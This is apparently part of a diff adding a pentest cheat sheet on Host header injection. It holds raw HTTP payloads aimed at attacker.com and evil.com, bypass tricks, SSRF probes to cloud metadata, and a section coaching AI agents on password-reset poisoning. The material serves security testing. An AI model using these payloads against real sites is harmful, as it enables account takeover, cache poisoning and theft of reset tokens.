+ | `X-Forwarded-Host` | Symfony, Laravel, Django (when `USE_X_FORWARDED_HOST=True`), Rails (behind proxy) |
158
+ | `X-Host` | Some custom proxy configurations |
159
+ | `X-Original-URL` | IIS with URL Rewrite module |
160
+ | `X-Rewrite-URL` | IIS with URL Rewrite module |
161
+ | `Forwarded: host=attacker.com` | RFC 7239 compliant proxies |
162
+ | `X-Forwarded-Server` | Apache mod_proxy |
163
+
164
+ Test all simultaneously:
165
+
166
+ ```http
167
+ GET /forgot-password HTTP/1.1
168
+ Host: target.com
169
+ X-Forwarded-Host: attacker.com
170
+ X-Host: attacker.com
171
+ X-Original-URL: /forgot-password
172
+ Forwarded: host=attacker.com
173
+ ```
174
+
175
+ ### 6.2 Absolute URL in Request Line
176
+
177
+ ```http
178
+ GET http://attacker.com/path HTTP/1.1
179
+ Host: target.com
180
+ ```
181
+
182
+ Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.
183
+
184
+ ### 6.3 Double Host Header
185
+
186
+ ```http
187
+ GET /path HTTP/1.1
188
+ Host: target.com
189
+ Host: attacker.com
190
+ ```
191
+
192
+ Behavior varies:
193
+ - Some proxies validate first Host, app uses second
194
+ - Some servers concatenate: `target.com, attacker.com`
195
+ - RFC says: if both differ, return 400. Most servers don't.
196
+
197
+ ### 6.4 Host with Port / Credentials
198
+
199
+ ```http
200
+ Host: target.com:@attacker.com
201
+ Host: target.com:evil.com
202
+ Host: target.com#@attacker.com
203
+ Host: attacker.com%23@target.com
204
+ ```
205
+
206
+ URL parsers may extract the "host" portion differently when credentials (`@`) or fragments (`#`) are present.
207
+
208
+ ### 6.5 Trailing Dot
209
+
210
+ ```http
211
+ Host: target.com.
212
+ ```
213
+
214
+ DNS treats `target.com.` and `target.com` identically (trailing dot = FQDN). But Host validation may not strip the trailing dot → `target.com. ≠ target.com` in string comparison → bypass whitelist.
215
+
216
+ ### 6.6 Tab / Space Injection
217
+
218
+ ```http
219
+ Host: target.com\tattacker.com
220
+ Host: target.com attacker.com
221
+ ```
222
+
223
+ Some parsers split on whitespace; the server may use `attacker.com` portion while validation checks `target.com` portion.
224
+
225
+ ### 6.7 Wrap-Around / Enclosed Values
226
+
227
+ ```http
228
+ Host: "attacker.com"
229
+ Host: <attacker.com>
230
+ ```
231
+
232
+ Quoted or bracketed values may be stripped by the app but not by the validator.
233
+
234
+ ---
235
+
236
+ ## 7. FRAMEWORK-SPECIFIC BEHAVIOR
237
+
238
+ | Framework | Host Source | Gotcha |
239
+ |---|---|---|
240
+ | **PHP** | `$_SERVER['HTTP_HOST']` (raw header, directly injectable) | `SERVER_NAME` is safer only with `UseCanonicalName On` |
241
+ | **Django** | `HttpRequest.get_host()` checks X-Forwarded-Host first (if enabled) | `USE_X_FORWARDED_HOST=True` bypasses `ALLOWED_HOSTS` |
242
+ | **Rails** | `request.host` from Host header; trusts `X-Forwarded-Host` behind proxy | Rails 6+ `HostAuthorization` middleware mitigates |
243
+ | **Node/Express** | `req.hostname` / `req.headers.host`; with `trust proxy` uses X-Forwarded-Host | No built-in host validation |
244
+
245
+ ---
246
+
247
+ ## 8. CONNECTION-STATE ATTACKS
248
+
249
+ A sophisticated variant exploiting HTTP keep-alive:
250
+
251
+ ```
252
+ Connection 1:
253
+ Request 1: GET / HTTP/1.1 ← Valid Host: target.com
254
+ Host: target.com → Proxy validates, forwards, keeps connection open
255
+
256
+ Request 2: GET /admin HTTP/1.1 ← Evil Host on SAME connection
257
+ Host: evil.com → Some proxies skip validation on subsequent requests
258
+ (they validated the connection on first request)
259
+ ```
260
+
261
+ This works against proxies that perform Host validation only on the first request of a keep-alive connection.
262
+
263
+ ### Testing
264
+
265
+ ```
266
+ 1. Use Burp Repeater with "Connection: keep-alive"
267
+ 2. Send normal request first
268
+ 3. On same connection, send request with manipulated Host
269
+ 4. Check if second request is processed differently
270
+ ```
271
+
272
+ ---
273
+
274
+ ## 9. HOST HEADER ATTACK DECISION TREE
275
+
276
+ ```
277
+ Application uses Host header in responses/behavior?
278
+
279
+ ├── Test direct Host injection
280
+ │ ├── Change Host to attacker domain → reflected in response?
281
+ │ │ ├── YES → Check impact:
282
+ │ │ │ ├── In password reset emails? → PASSWORD RESET POISONING
283
+ │ │ │ ├── In cached responses? → WEB CACHE POISONING
284
+ │ │ │ ├── In redirects? → OPEN REDIRECT
285
+ │ │ │ └── In script/link URLs? → XSS VIA HOST
286
+ │ │ └── NO (400/403/different response) → Host is validated
287
+ │ │
288
+ │ └── Host validated? Try bypasses:
289
+ │ ├── X-Forwarded-Host header
290
+ │ ├── X-Host / X-Original-URL / Forwarded header
291
+ │ ├── Absolute URL in request line
292
+ │ ├── Double Host header
293
+ │ ├── Host: target.com:@attacker.com (URL parser confusion)
294
+ │ ├── Host: target.com. (trailing dot)
295
+ │ ├── Tab/space injection in Host value
296
+ │ └── Connection-state attack (valid first request, evil second)
297
+
298
+ ├── Test virtual host enumeration
299
+ │ ├── Brute-force Host values against target IP
300
+ │ ├── Try: localhost, admin, staging, internal, intranet
301
+ │ └── Compare response sizes for different Host values
302
+
303
+ ├── Test SSRF via Host routing
304
+ │ ├── Host: 127.0.0.1 → internal service?
305
+ │ ├── Host: internal-hostname.local → internal routing?
306
+ │ └── Host: 169.254.169.254 → cloud metadata?
307
+
308
+ └── No Host-based behavior found
309
+ └── Check if app uses Host in server-side operations
310
+ (email generation, webhook URLs, API callbacks)
311
+ ```
312
+
313
+ ---
314
+
315
+ ## 10. TRICK NOTES — WHAT AI MODELS MISS
316
+
317
+ 1. **Password reset poisoning doesn't require the victim to be logged in** — you request the reset, the victim just clicks the link. The token lands on your server.
318
+ 2. **X-Forwarded-Host is the #1 missed bypass**: Most Host validation checks `Host` header but frameworks silently prefer `X-Forwarded-Host` when behind a proxy.
319
+ 3. **Double Host header is protocol-valid but behavior-undefined**: RFC says reject with 400, but almost no server actually does this. The mismatch between proxy and app is the vulnerability.
320
+ 4. **Absolute URI overrides Host per RFC**: `GET http://evil.com/path HTTP/1.1\nHost: target.com` — the spec says use the request-line URI. But not all implementations agree.
321
+ 5. **Cache poisoning via Host requires the cache to exclude Host from the key**: Most CDNs include Host in the cache key. But custom Varnish/Nginx caches may not. Also test with `X-Forwarded-Host` as cache key differentiator.
322
+ 6. **Connection-state attacks are rarely tested**: Automated scanners don't test keep-alive behavior. Manual testing via Burp Repeater's connection reuse is essential.
323
+ 7. **DNS rebinding + Host attacks**: If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header says your domain, but request hits their server. Useful for bypassing IP-based access controls.